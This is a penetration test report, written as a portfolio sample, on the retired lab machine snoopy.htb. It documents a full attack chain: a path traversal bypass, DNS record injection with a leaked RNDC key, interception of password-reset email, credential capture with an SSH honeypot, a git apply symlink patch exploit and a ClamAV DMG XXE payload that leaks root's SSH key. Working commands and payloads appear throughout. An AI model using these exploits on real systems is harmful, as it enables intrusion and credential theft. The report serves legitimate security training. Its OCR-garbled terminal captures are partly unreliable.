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1 Portfolio Use & Disclaimer

This report is provided as a portfolio sample to demonstrate penetration testing methodology,
technical writing, risk communication, and remediation planning.

The assessment described herein was performed against a deliberately vulnerable training
environment intended for educational use. The target system represents a simulated client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts

Assessor Contact

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary

This assessment was conducted by Joe Thompson as a network penetration test of a simulated Linux
server environment hosted at 10.129.229.5 (snoopy.htb). The target ran a public-facing nginx web
application, an ISC BIND DNS server, and a Mattermost messaging platform. Testing was performed
using a black-box approach without prior knowledge of the environment.

3.1 Approach

Joe Thompson performed testing using a black-box approach, without credentials or prior knowledge
of the target environment. The assessment targeted externally accessible services and worked inward
through a chain of web exploitation, DNS manipulation, email interception, and CVE-based privilege
escalation.

Testing was conducted remotely from Joe Thompson's assessment environment. All findings were
manually validated to confirm exploitability and assess impact. Where initial access was obtained,
post-exploitation enumeration was performed to evaluate the full privilege escalation surface.

3.2 Scope

The scope of this assessment included the externally accessible host 10.129.229.5 (snoopy.htb).
Testing covered all services accessible at the target IP, including web, DNS, and all discovered virtual
hosts.

In Scope Assets

Asset Type Description
External Host (snoopy.htb)

Web Application http://snoopy.htb — SnoopySec corporate site
Messaging Platform http://mm.snoopy.htb — Mattermost instance
DNS Service Port 53 — ISC BIND 9.18.12

3.3 Assessment Overview and Recommendations

During this assessment, Joe Thompson identified 6 security findings affecting the confidentiality,
integrity, and availability of the assessed environment. The findings include 2 critical-risk findings, 3
high-risk findings, and 1 medium-risk finding.

The corporate website hosted a file download endpoint that accepted a file parameter without
adequate path sanitisation. A filter stripping ../ sequences was bypassed using ....// double-dot
variants, allowing arbitrary file reads from the server. Reading /etc/bind/named.conf disclosed the
BIND RNDC key — a shared secret that grants authenticated write access to the DNS zone.

Using the RNDC key with nsupdate, a DNS A record was injected for mail.snoopy.htb pointing at the
attacker's machine. The site had noted this hostname as offline. With a Python SMTP listener active, a
Mattermost password reset for sbrown@snoopy.htb was triggered; the reset email was captured, the

Joe Thompson Snoopy 6



A ARCHWARDEN

quoted-printable token decoded, and a new password set. Mattermost access revealed a server
provisioning channel. Submitting a provisioning request pointing at a local sshesame SSH honeypot
captured cbrown's plaintext credentials when the provisioning bot connected.

SSH access as cbrown revealed a sudo rule allowing git apply as sbrown. The installed version of git
(2.34.1) was vulnerable to CVE-2023-22490 and CVE-2023-23946: chaining these allowed a crafted
patch to follow a symlink during application, writing an attacker-controlled public key into sbrown's
authorized_keys. SSH as sbrown retrieved the user flag and revealed a second sudo rule permitting
clamscan --debug against files in ~/scanfiles/. ClamAV 1.0.0 is vulnerable to CVE-2023-20052: an XXE
vulnerability in its DMG parser causes arbitrary file content to appear in --debug output. A crafted
DMG embedding an XXE payload targeting /root/.ssh/id_rsa leaked root's SSH private key, enabling
SSH as root and full system compromise.

It is recommended that the file download endpoint validate and restrict the file parameter to an
explicit allowlist, that BIND RNDC keys be stored with appropriate permissions, that the server
provisioning feature verify the identity of the target server before presenting credentials, and that
both git and ClamAV be patched to versions that address the identified CVEs.
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4 Network Penetration Test Assessment
Summary

Joe Thompson conducted testing from the perspective of an unauthenticated external attacker with no
prior knowledge of the assessed environment. Testing targeted the web application's file download
functionality, the DNS service, and the Mattermost platform, ultimately chaining multiple findings
across web, DNS, and application layers to achieve full system compromise.

4.1 Summary of Findings

During testing, Joe Thompson identified 6 findings that present varying levels of risk to the assessed
environment. In addition, 0 informational observations were noted which, while not representing
direct vulnerabilities, highlight opportunities to further improve overall security posture and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 2 Critical, 3 High and 1 Medium vulnerabilities were identified:

3

Critical High Medium Low Info

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report.
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Severity Level

10.0 (Critical)

10.0 (Critical)

8.8 (High)

7.5 (High)

7.1 (High)

6.5 (Medium)

Joe Thompson

Finding Name

BIND RNDC Key Stored in World-Readable Configuration File
Enables Authenticated DNS Zone Modification

DNS Record Injection via RNDC Key Enables Mail Server
Hijacking and Email Interception

CVE-2023-20052 — ClamAV DMG XXE via sudo clamscan Leaks
Root SSH Private Key

Path Traversal in File Download Endpoint Enables Arbitrary File
Read

CVE-2023-22490 / CVE-2023-23946 — git apply Symlink Attack
Enables Lateral Movement to sbrown

Server Provisioning Bot Presents Plaintext SSH Credentials to
Attacker-Controlled Host

Snoopy
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5 Internal Network Compromise Walkthrough

During the assessment, Joe Thompson exploited a chain of web path traversal, DNS manipulation,
email interception, and CVE-based privilege escalation to achieve full root compromise from an
unauthenticated external position. The walkthrough below documents the successful attack path and
does not represent all vulnerabilities identified during testing.

Any issues not required to achieve compromise are documented as standalone findings in the
Technical Findings Details section and ranked by severity.

5.1 Detailed Walkthrough

Joe Thompson performed the following to fully compromise the snoopy.htb system.

1. Performed network enumeration — SSH (22), ISC BIND DNS (53), and nginx HTTP (80) identified;
DNS on a web server is unusual and treated as a priority target

2. Enumerated the web application — SnoopySec corporate site discovered; site notes
mail.snoopy.htb offline; team page lists employee email addresses; vhost fuzz finds mm.snoopy.htb
(Mattermost) with password reset available

3. Exploited path traversal on the file download endpoint using ....// bypass — confirmed arbitrary file
read by retrieving /etc/passwd

4. Read BIND configuration files via LFI — /etc/bind/named.conf.local confirmed rndc-key controls
DNS updates; /etc/bind/named.conf exposed the RNDC shared secret

5. Performed DNS zone transfer (AXFR) to enumerate internal hostnames — confirmed no
mail.snoopy.htb record; injected A record pointing mail.snoopy.htb at attacker IP using nsupdate
with the recovered RNDC key

6. Triggered Mattermost password reset for sborown@snoopy.htb — SMTP listener captured the email;
decoded quoted-printable token; set new password and authenticated to Mattermost as sbrown

7.Joined the server provisioning channel on Mattermost — submitted provisioning request targeting
attacker IP on port 2222; sshesame SSH honeypot captured cbrown:sn00pedcr3dential!!! from the
provisioning bot; SSH as cbrown

8. Enumerated cbrown sudo rights — git apply as sbrown permitted; git 2.34.1 vulnerable to
CVE-2023-22490/CVE-2023-23946; crafted malicious patch follows symlink into sbrown .ssh
directory and writes attacker public key to authorized_keys; SSH as sbrown; user flag retrieved

9. Enumerated sbrown sudo rights — clamscan --debug on ~/scanfiles/ as root; ClamAV 1.0.0
vulnerable to CVE-2023-20052 DMG XXE; crafted DMG with XXE targeting /root/.ssh/id_rsa; key
leaked in debug output; SSH as root; root flag retrieved

1. Network Enumeration
A full TCP port scan was performed, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.229.5 -oA TCP_allports

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',"' | sed 's/,$//")
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.229.5

Results: SSH (22), ISC BIND 9.18.12 DNS (53), nginx HTTP (80). A DNS service alongside a web
application is not typical and was treated as a priority. snoopy.htb was added to /etc/hosts.
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2. Web Enumeration and Vhost Discovery
Browsing to http://snoopy.htb revealed the SnoopySec corporate site:
A banner on the site noted that mail.snoopy.htb was currently offline — relevant context for later:

Attention: AS\!(Evﬂ“QTiKQ DN5 records to our new domain please be advised that our mailserver ‘mail. snoopy.htb' is currently offline.
SnoopySec Home About Services Team | Contact

Contact

Home / Contact

Location:

SnoopySec Useful Links Our Services Contact Us

Home

Email addresses were harvested from the team page including sbrown@snoopy.htb:

Joe Thompson Snoopy 11
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SnoopySec Home  Abolit  Services Team  Contach

Team

Home / Team

Sally Brown Harold Angel

A virtual host fuzz against port 80 found mm. snoopy . htb:

ffuf -u http://snoopy.htb -t 50 \
-w /usr/share/seclists/Discovery/DNS/subdomains-toplmillion-110000.txt \
-H 'Host: FUZZ.snoopy.htb' -mc all -fs 23418

— rden)-[~/HTB_Boxes/retired/snoopy |
—% ffuf -u http://snoopy.htb -t 50 -w /usr/share/seclists/Discovery/DNS/subdomains-topimillion-110000.txt H

th" -mc all -fs 23418
FEEmN G
e AN T AT
NN NN L NNV
NN PN NN RN TN
NI NV,
N NEC/ OIS ERef N
v2.1.0-dev
2 Method HIGET
URL : http://snoopy.htb
Wordlist : FUZZ: fusr/share/seclists/Discovery/DNS/subdomains-topimillion-118880.txt
Header : Host: FUZZ.snoopy.htb
:: Follow redirects : false
:: Calibration ; false
i Timeout i
: Threads T
Matcher : Response status: all
= Filtern : Response size: 23418
mm [Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 90ms]
piy ] [Status: 400, Size: 166, Words: 6, Lines: 8, Duration: 1@5ms]
#mail [Status: 400, Size: 166, Words: 6, Lines: 8, Duration: 1@8ms]
Hsmtp [Status: 400, Size: 166, Words: 6, Lines: 8, Duration: 96ms]
#pop3 [Status: 400, Size: 166, Words: 6, Lines: 8, Duration: 181ms]
:: Progress: [114442/1144421 :: Job [1/1] :: 526 req/sec :: Duration: [@:@4:31] :: Errors: @ :

Browsing to mm.snoopy.htb revealed a Mattermost instance. Registration was closed, but a password
reset form was available:
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3. Path Traversal — File Download Endpoint

The site's Downloads section linked to files served through a file parameter:

GET /download?file=announcement.pdf

[4 ] p P Intruder
Dasl d Targef

Intercept *  HTTP hi

@@ Intercept on .
Time Type Direction Method

Focus On What 19:30:3420).. HTTP = Request G hitp:/fsnoopy.htbfdownload?file=announcement.pdf
Matters

SnoopySec is a leading provider of DevSecOps tooling
for web-based businesses. We offer a comprehensive
suite of services designed to help our clients build and
maintain secure web applications throughout their
entire lifecycle.

Download our press release package here or download
our recent announcemert here

Request

01 Firefox/140.0
g

Event log All issues

Standard ../ traversal was filtered. The filter stripped one ../ layer, leaving ....// sequences intact
— each ....// becomes ../ after the filter removes the middle ./. Substituting the filename
confirmed arbitrary file read:

GET /download?file=....//....//....//....//....[/....//....//etc/passwd

Joe Thompson Snoopy 13
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Collaborator Se Decoder

h and replace ttings

@ Intercept on i
Direction

Focus On What
Matters

snoopySec is a leading provider of DevsecOps tooling
for web-based businesses. We offer a comprehensive
suite of services designed to help our clients build and
maintain secure web applications throughout their
entire lifecycle.

Download our press release package here or download
our recent announcement here

Request

Event log All isst

The response was a ZIP archive containing the requested file:

LAWIWF TRl LI o L] Il_L!_l

f joe  Downloads  press_package

press_package press_release.zip

4. DNS Configuration Extraction via LFI

With DNS running on port 53, the BIND configuration was the next priority. Reading /etc/bind/
named.conf.local revealed the zone definition and confirmed that DNS updates were gated by the
rndc-key:
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#& joe  Downloads press package etc bind Va
-;Zl
Session Actions Edit View Help
/
named.conf.local // Do any local configuration here
' /e

// Consider adding the 1918 zones here, if they are not used in your
// organization
J/include "/etc/bind/zones.rfcl9is”;

zone “snoopy.htb™ IN {
type master;

file "/var/lib/bind/db.snoopy.hth";
allow-update { key "rndc-key"; };

;|

Reading /etc/bind/named.conf exposed the RNDC shared secret in plaintext:

# joe Downloads press_package etc bind V4 Q
all
Session Actions Edit View Help
B/ This is the primary configuration file for the BIND DNS server named.

named.conf

re/doc/bindd/README.Debian.gz for information on the

onfiguration files in Debian, *BEFORE* you customize
e

i

/

/f

,f stiri
/

/ If you are just adding zones, please do that in /etc/bind/named.conf.local
include i f *

include ; ; f -
include F.def :

key "rndc-key" {
algorithm hmac-sha256;
secret ;

b

Key recovered: BEqUtce80uhu3TOEGJJaM1Sx9WT2pkdeCtzBeDykQQA= (HMAC-SHA256)

5. DNS Zone Transfer and RNDC Record Injection

An AXFR zone transfer confirmed the current DNS records, including internal hostnames for
mattermost, postgres, and provisions. There was no mail.snoopy.htb record — matching the site's
banner:
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—{joe ‘chwarden )-[~/HTB_Boxes/retired/snoopy]
—% dig axfr al@ 129.229.5 snoopy.htb

j <<>> DiG 9.28.23-1-Debian <<>> axfr @10.129.229.5 snoopy.htb
i (1 server found)
i+ global options: +cmd

smoopy . htb. 6400 IN S0A nsl.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy . htb. G6408 IN NS nsl.snoopy.htb.

smoopy.htb. 86400 IN NS ns2.snoopy.htb.

mattermost.snoopy.htb. 26400 IN A 172.18.8.3

mm.snoopy . htb. E6400 IN A 127.0.8.1

nsl.snoopy.htb. G6408 IN A 10.6.50.10

ns2.snoopy.htb. 56400 IN A 10.0.51.10

postgres.snoopy.htb. G6408 IN A 172.18.8.2

provisions.snoopy.htb. 86400 IN A 172.18.0.4

waw . snoopy . htb. 6408 IN A 127.0.8.1

snoopy.htb. 86400 IN S0A nsl.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400

i+ Query time: 256 msec

;i SERVER: 10.129.229.5#53(1@.129.229.5) (TCP)
ii WHEN: Sat Junm 20 19:45:36 EDT 2026

ii XFR size: 11 records (messages 1, bytes 325)

The RNDC key was saved in BIND key file format and used with nsupdate to inject a DNS A record
pointing mail.snoopy.htb at the attacker's machine:

nsupdate -k rndc.key
> server 10.129.229.5
zone snoopy.htb

>
> update add mail.snoopy.htb. 60 A 10.10.16.60
> send

—{ Joes Archwarden )-[~/HTB_Boxes/retired/snoopy |
% nsupdate -k rndc key

> server 180.129.229.5

> Zone snoopy.htb

> update add mail.snoopy.htb. 68 A 10.10.16.60@

> send

> quit

A follow-up AXFR confirmed the record was live:

—{jos hwarden )-[~/HTB_Boxes/retired/snoopy]
L5 dip axfr @18.129.229.5 snoopy.htb

i <<>> DiG 9.28.23-1-Debian <<>> axfr @1@.129.229.5 snoopy.htbh
; (1 server found)
;i global options: +cmd

snoopy.htb. 26400 IN S0A nsl.snoopy.htb. ns2.snoopy.htb. 2022032613 3600 1800 GOLBRR B6400
snoopy.htb. 86408 IN NS nsl.snoopy.htb.

snoopy.hth. 86408 1IN NS :

{mail.snoop : IN A

Mattermost . sncopy hib. &6408 1IN A

mm.snoopy.htb. 56400 IN A 12? 8. l 1

nsl.snoopy.hthb. 56400 IN A 18.9.50.18

ns2.snoopy.htb. 26400 IN A 18.08.51.18@

postgres.snoopy.htb. 86400 IN A 172.18.8.2

provisions.snoopy.htbh. 864080 IN A 172.18.0.4

www . snoopy . htb. 56400 IN A 127.0.9.1

snoopy.htb. 56400 IN 50A nsl.snoopy.htb. ns2.snoopy.htb. 2022932613 3600 1800 604800 86400

73 Query time: 264 msec

;7 SERVER: 18.129.229.5#53(18.129.229.5) (TCP)
33 WHEN: Sat Jun 20 19:49:@3 EDT 2026

;i ®FR size: 12 records (messages 1, bytes 346)

6. Mattermost Password Reset — SMTP Email Capture
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With mail.snoopy.htb now resolving to the attacker, a Python SMTP listener was started and a
Mattermost password reset was triggered for sbrown@snoopy.htb:

sudo python3 -m aiosmtpd -n -1 0.0.0.0:25

Password Reset

Enter a new pa our Mattermost account.

Change my password

The reset email was captured by the SMTP listener:
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i—E joe® Archwarden |-[~/HTB_Boxes/retired/snoopy i
L% sudo python3 -m aiesmtpd -n -1 9.08.0.8:25
MESSAGE FOLLOWS

mail options: ['BODY=8BITMIME']

MIME-Version: 1.8

Message-ID: <mfwpsl79isrm9fsp-178280811028mm.snoopy.htb>
Subject: [Mattermost] Reset your password

Reply-To: "No-Reply” <no-replyf@snoopy.htb>

From: "No-Reply” <no-reply@snoopy.htb>

To: sbrown@snoopy.htb

Content-Transfer-Encoding: 8bit

Auto-Submitted: auto-generated

Precedence: bulk

Date: Sun, 21 Jun 2826 88:18:22 +0000

Content-Type: multipart/alternative;
boundary=28c3a5d6e8717deBdB8c2ebc26a3240bbbB1fddd5e13a60c8e15c5962ac@B0

X-Peer: (°10.129.229.5', 33748)

—20c3a5d6eB717deBd8c2eb6c26a240bbbB]1 fddd5elaab@cB8e15c5962aCBE0
Content-Transfer-Encoding: guoted-printable
Content-Type: text/plain; charset=UTF-8

Reset Your Password
Click the button below to reset your password. If you didn=E2=-80=99t reqgues
t this, you can safely ignore this email.

eset Password ( http://mm.snoopy.htb/reset_password complete?token=3Dkbdfn=
oeth5oydn8h7bpowed354bnktzpauribm43gngmeh3f7umeigblaknlpjeqg )

The password reset link expires in 24 hours.

Questions?

Need help or have guestions? Email us at supportdsnoopy.htb ( support@snoop=
y.htb )

=C2=A9 2822 Mattermost, Inc. 538 Lytton Avenue, Second floor, Pale Alto, CA=
, 94301

—20c3a5d6eB717deB8d8c2eb6c26a240bbbB1fddd5elaab@cBe15c5962aCB80
Content-Transfer-Encoding: guoted-printable

Content-Type: text/html; charset=UTF-8

The token was quoted-printable encoded. It was decoded using an online tool to recover the clean
reset URL:
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25 webatic.comjquoted-printable-convertor h| ¥ A

Webatic Charset | Unicode (utf-8) v Utiities ~ Blog =

Encode/Decode Quoted Printable

Decoded (readable by humans)

http://mm.snoopy.htb/reset_password_complete?
token=h8d5h=nx4rdy4x95wu5z06197kzxrx817r8wtchpgj76sjoenn9gztgmnf5gpddawc

] One line § Encode

Encoded

http://mm.snoopy.htb/reset_password_complete?
token=3Dh8d5h=nx4rdy4x95wu5z06197kzxrx817r8wtchpgqj76sjoenn9gztgmfSgp4dawc

The token was used to set a new password for sbrown@snoopy.htb:
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Log in

Password updated successfully

sbrown@snoopy.htb

Forgot your pa
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Q search ® @ 0 ®

62 Channels

DevSecOps v + Town Square v
= Q Findchannel

i Insights
B Threads

CHANNELS

@ off-Topic

& Town Square

DIRECT MESSAGES +

@ cbrown

Invite Members

Beginning of Town Square

Welcome to Town Square!

March 18, 2023

system
Welcome to Mattermost! ¢/

March 25, 202

7. SSH Provisioning Honeypot — cbrown Credential Capture

The Mattermost dashboard referenced a server provisioning channel. It was located via channel

search:
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Find Channels

Type to find a channel. Use UP/DOWN to browse, ENTER to , ESC to dismiss

B i
ning

Posting /server_provision opened a form. The IP was set to the attacker machine and the OS to Linux
(which sets port 2222):
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Server provisioning request

Submit a request for for a new er provision. An IT staff member will be witl

short |_|!l'f
Email: *

sbrow

Department: *

Engineering

Operating System: *

Linux - TCP/

Server IP address *

The sshesame SSH honeypot was set up on port 2222 to capture credentials from any connection
attempt:

git clone https://github.com/jaksi/sshesame && cd sshesame
sudo go build -buildvcs=false

sudo sed -i 's/127.0.0.1:2022/0.0.0.0:2222/9"' sshesame.yaml
sudo ./sshesame -config sshesame.yaml

—1{ jos i |-[~/HTB_Boxes/retired/snoopy/sshesame]

sudo ./sshesame -confiz sshesame.yaml

INFO 2026/06/20 20:44:25 No host keys configured, using keys at "/root/.local/share/sshesame”

INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_rsa_key” not found, generating it
INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_ecdsa_key”™ not found, generating it
INFO 2826/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_ed25519_key" not found, generating it
INFO 2826/06/20 20:44:25 Listening on [::]:2222

After resubmitting the provisioning request, the bot connected and sshesame logged the plaintext
credentials:
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—(joe® Archwarden)-[~/HTB_Boxes/retired/snoopy/sshesame]
% sudg ./sshesame -config sshesame.yaml
INFO 2026/06/20 20:44:25 No host keys configured, using keys at "/root/.local/share/sshesame”
INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_rsa_key" not found, generating it
INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_ecdsa_key" not found, generating it
INFO 2026/06/2@0 20:44:25 Host key "/root/.local/share/sshesame/host_ed25519_key" not found, generating it
INFO 2026/06/20 20:44:25 Listening on [::]1:2222
2026/06/20 20:44:56 [10.129.229.5:3973@] authentication for userl'cbrawn'lwith password
2026/06/20 20:44:56 [10.129.229.5:39730] connection with client version "SSH-2.@-paramik
2026/06/20 20:44:56 [10.129.229.5:39730@] [channel @] session requested
2026/06/20 20:44:56 [1@.129.229.5:39730] [channel @] command "ls -la” requested

5

5

2026/06/20 2@:44:56 [10.129.229.5:3973@] [channel @] closed
2026/06/20 20:44:56 [1@.129.229.5:39730] connection closed

Credentials captured: cbrown:sn@@pedcr3dential!!!

SSH was established as cbrown:

h cbrownasnoopy.htb
The authenticity of host 'snoopy.htb (10.129.229.5)" can't be established.
ED25519 key fingerprint is: SHA256:XCYXaxdk/KgjbrpeBgktWoNe/6egnc+DyoVESiBpaXY
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ’snoopy.hth' (ED25519) to the list of known hosts.
cbrown@snoopy.htb’s password:

Welcome to Ubuntu 22.084.2 LTS (GNU/Linux 5.15.8-71-generic x86_64)

| B_Boxes/retired/snoopy/sshesame
LS}ss

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not leg into.

To restore this content, you can run the "unminimize’ command.
naisnoopy:~$ whoami

8. Lateral Movement — CVE-2023-22490 / CVE-2023-23946 git apply Symlink Attack

Enumerating cbrown's privileges revealed membership in the devops group and a sudo rule
permitting git apply -v as sbrown:

cbrowngsnoopy:~% sudo -1

[sudo] password for cbrown:

Matching Defaults entries for cbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin%\:fusr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User cbrown may run the folleowing commands on snoopy:
(sbrown) PASSWD: /usr/bin/git “apply -v [a-zA-Z0-9.]+%
V=% 1a
uid=1000(cbrown) gid=1000(cbrown) groups=1000(cbrown)
cbrowngsnoopy:~$ ||

The installed git version was 2.34.1 — affected by two chained CVEs:

* CVE-2023-22490: local path clones bypass symlink safety checks
* CVE-2023-23946: git apply follows symlinks in the working tree
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Together, a crafted patch can follow a symlink and write files outside the repository — in this case, into
sbrown's .ssh directory.

An SSH keypair was generated:

ssh-keygen -f cbrown

—(joe® Archwarden )-[~/HTB_Boxes/retired/snoopy]

—% ssh-keygen -f cbrown

Generating public/private ed25519 key pair.

Enter passphrase for "cbrown” (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in chrown

Your public key has been saved in cbrown.pub

The key fingerprint is:

SHAZ56:eTT JKEJJeRIFgf10S7+gUTC3wRxKz@1tf3H3gBu+IPfo joe@Archwarden
The key's randomart image is:

+—[ED25510 256] —+

| . =+, |

| S TN |
| g, i lpe ool
| e =TT e |
| « 5+ 0.0+
| . o . DK ]
| +o0% ol
| . %00 |
| .=oE+o|
+ [SHA256]

+

i AT ghggwnvpuba "
[ssh-ed25519 AAAAC3NzaC1lZDIINTESAAAATB3SmKUDBYtdCGVWGIsay91kfALNrOWKgqSGiHT41F/x joe@Archwarden |

|- [~/HTB_Boxes/retired/snoopy |

A git repository was initialised in /dev/shm/rce with a symlink pointing at /home/sbrown/.ssh:

cd /dev/shm && mkdir rce && cd rce

git init . && 1n -s /home/sbrown/.ssh symlink
git add symlink && git commit -m 'add symlink'
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cbrowngsnoopy: /dev/shm/git-exploit$ cd /dev/shm

cbrowngsnoopy: /dey ; im$ mkdir rce
m$ chown :devops rce

cbrowngsnoopy: /dev/shm
im$ cd rce

| 5]
= s
1
=01
|
i

cbrowngsnoopy: /dev/sl

cbrowng@snoopy: /dev/shm/rce$ git init

Initialized empty Git repository in /dev/shm/rce/.git/
cbrowngsnoopy: au>"f«=..;x>$ 1n -s /home/sbrown/.ssh symlink
cbrowngsnoopy: /dev/shm/rce$ git add symlink

cbrowng@snoopy: /dev/shm/rce$ git commit -m "add symlink”

[master fruut—cummit} @158dd4] add symlink

Committer:; Charlie Brown <cbrown@snoopy.htb>

Your nmame and email address were configured automatically based

on your username and hostname. Please check that they are accurate.
You can suppress this message by setting them explicitly:

git config —global user.name "Your Name"
git config —global user.email youRexample.com

After doing this, you may fix the identity used for this commit with:
git commit —amend —reset-author

1 file changed, 1 insertion(+)
create mode 120080 symlink

A patch was crafted to rename the symlink (triggering CVE-2023-23946 to follow it) and then create
authorized_keys inside the resolved directory:

—(doe® Archwarden)-[~/HTB_Boxes/retired/snoopy |
LS cat »patch <—EOF

diff --git a/symlink b/renamed-symlink

similarity index 180%

rename from symlink

rename to renamed-symlink

diff —git /fdev/null b/renamed-symlink/authorized_keys
new file mode 108644

index 0BOOORG..0839727e

— Jfdev/null

+++ b/renamed-symlink/authorized_keys

an -@.,0 +1,1 aa

geeh-_rso
[QAAAC3Nza[1lZDIlNTESAAAAIPGSanInmUPKuP18u+9JDwaaUVuFUYDEfIL?thuCF jneﬁhrchwardenl

EOF

The patch was applied as sbrown via the sudo rule:

sudo -u sbrown /usr/bin/git apply -v patch

SSH authenticated with the generated key:
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— joes A arden )-[~/HTB_Boxes/retired/snoopy]
% ssh —i cbruwn sbrown@snoopy.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.8-71-generic x86_64)

#* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize’ command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

shrowngsnoopy:~$ whoami
sbrcwn

sbrowngsnoopy:~% 1s
progname.dmg scanfiles user.txt
shrownfsnoopy--% cat nser txt

hsuallsﬁz?Zeqaazﬁealf?uqaabszulf
sbrowngjsnoopy: -5 N

9. Privilege Escalation — CVE-2023-20052 ClamAV DMG XXE

Checking sbrown's sudo rights revealed a second rule:

sbrowngsnoopy:~$ sude -1
Matching Defaults entries for sbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

| User sbrown may run the following commands on snoopy:
(root) NOPASSWD: /usr/local/bin/clamscan "-—debug /home/sbrown/scanfiles/[a-zA-708-9.]1+§

(root) NOPASSWD: /usr/local/bin/clamscan ~--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

ClamAV 1.0.0 is vulnerable to CVE-2023-20052: an XXE vulnerability in its DMG (Apple Disk Image)
parser. When --debug is active, parsed XML content is written to debug output. An external entity
referencing a local file path causes ClamAV to include that file's contents in the debug stream.

A Docker container was used to compile libdmg-hfsplus and build the exploit DMG, then bbe injected
the XXE payload targeting /root/.ssh/id_rsa:

sudo docker build -t cve-2023-20052 . && sudo docker run -v $(pwd):/exploit -it

cve-2023-20052 bash
genisoimage -D -V 'exploit' -no-pad -r -apple -file-mode 0777 -o dark.img . && dmg dmg

dark.img exploit.dmg
bbe -e 's|<IDOCTYPE plist PUBLIC...|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///root/.ssh/
id_rsa"> ]>|'

-e 's/blkx/\&xxe;/' exploit.dmg -o dark2.dmg
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joe rden )-[~/HTB_Boxes/retired/snoopy/CVE-2023-20052 |
L% sudo docker build -t cve-2023-20052 .
[#] Building 42.3s (14/14) FINISHED

The crafted DMG was transferred to ~/scanfiles/ on the target:

sbrowngsnoopy: les$ wget 10.10.16.68:8001/dark2 . dmg

—2026-06-21 03:12:50— http://10.10.16.60:8001/dark2.dmg

Connecting to 10.10.16.68:8081 ... connected.

HTTP request sent, awaiting response... 200 0K

Length: 114752 (112K) [application/x-apple-diskimage]

Saving to: 'dark2.dmg’

1 112.06K  315KB/s in 8.4s

dark2.dng 160%[
2026-06-21 03:12:51 (315 KB/s) - ‘dark2.dmg' saved [114752/114752]

sbrowngsnoopy: an 25§ 1s
dark2.dmg

Running clamscan as root caused the XXE to execute and root's private key appeared in the debug
output:

sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/dark2.dmg
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LibClamAV debug: cli_magic_scan: returning @ at line 4997

i - clean_cache add- Je3llhfhaef20007322111fdAA3803e8a (1eyal A)
LibClamAV debug: cli_scandmg: wanted blkx, text value is BEGIN OPENSSH PRIVATE KEY——
b3BlbnNzaClrZxktd jEAAAAABGSvbmUAAAAEDMBUZOAAAAAAAAABAAAB I wAAAAdDZC2EtCD
NhAAAAAWEAAQAAAYEA15602U3 j7mFQUs5XDGTIarth/iMUF6W20gsWOKPFNEMT FExZ2GID/
LgpYjIcyauPHSTV4TjNGMLB6A1zDTQIoKeMyN4KBPNZYMaVnB6IMGOAVthEullnYzogHmB T
hy@cp4EaM3gITal@AMBAbnvZbQyWhVZaQlSQ5HDHt@DwimWBueSeaxeugW3RYIGjKjuFSw
kfWsSVrLThSvf@gaviglS9WcBGh7IKFrEEcLXLggyDoprKq2ZGe6S2 foeUWkSY134Uz901
Ctgf161LFi4lm7t5jkhWaYzDRha70mSwpxucljOCG5dU/Ii1BAS JEBG7SPALTER/4dIp2U
ZrXxs/20qi/4TPIFIZ5YyaforTB/nm03DJawo6bclAAT62n9bdkv xWd14vig54yP7SSXU
tPGVP4AVDIYL7NCcPe07 Irf62UVjImdroSxaHnbukFevyPHXmSQUE4yU3S5d09 1 repY /eh4eN
y@QIGTQUVBZL49gHNT jwMTCcNeH6Dfc 786 ) XguEl zAAAFIADSIOIDrCFSAAAAB3NZaClyc2
|EARAGBANeetMING+ShUFLOVWX1Gq7YF4jFBeltgILFECixT FOHIxMc v/ + IKWIyHMmT §
x0qleH4zRJO0gIswBOCKCu jMjeCvDzc2DGlZweiDBvOFbYRLtdZ2MEKhSgX4ctHKeBG JNL
CE2tdADAQGS579m@MLoViWWk JUkORwx7dABNZ LgbnuXmsXrglt@WCRoyo7hUsJHIrElay@be
|b39TGldapefVnPBoeyChaxBHC1ybgsgbKayqtmRtOktn6H1 FpEmNd+FM/aCAran9epSxYu
C5u7eY5IVVMwOYWuzpucKcbnFIBAhuXVPYI9QQ0YxPBu+TwCHXET+HSKd1MB618bPIkKov
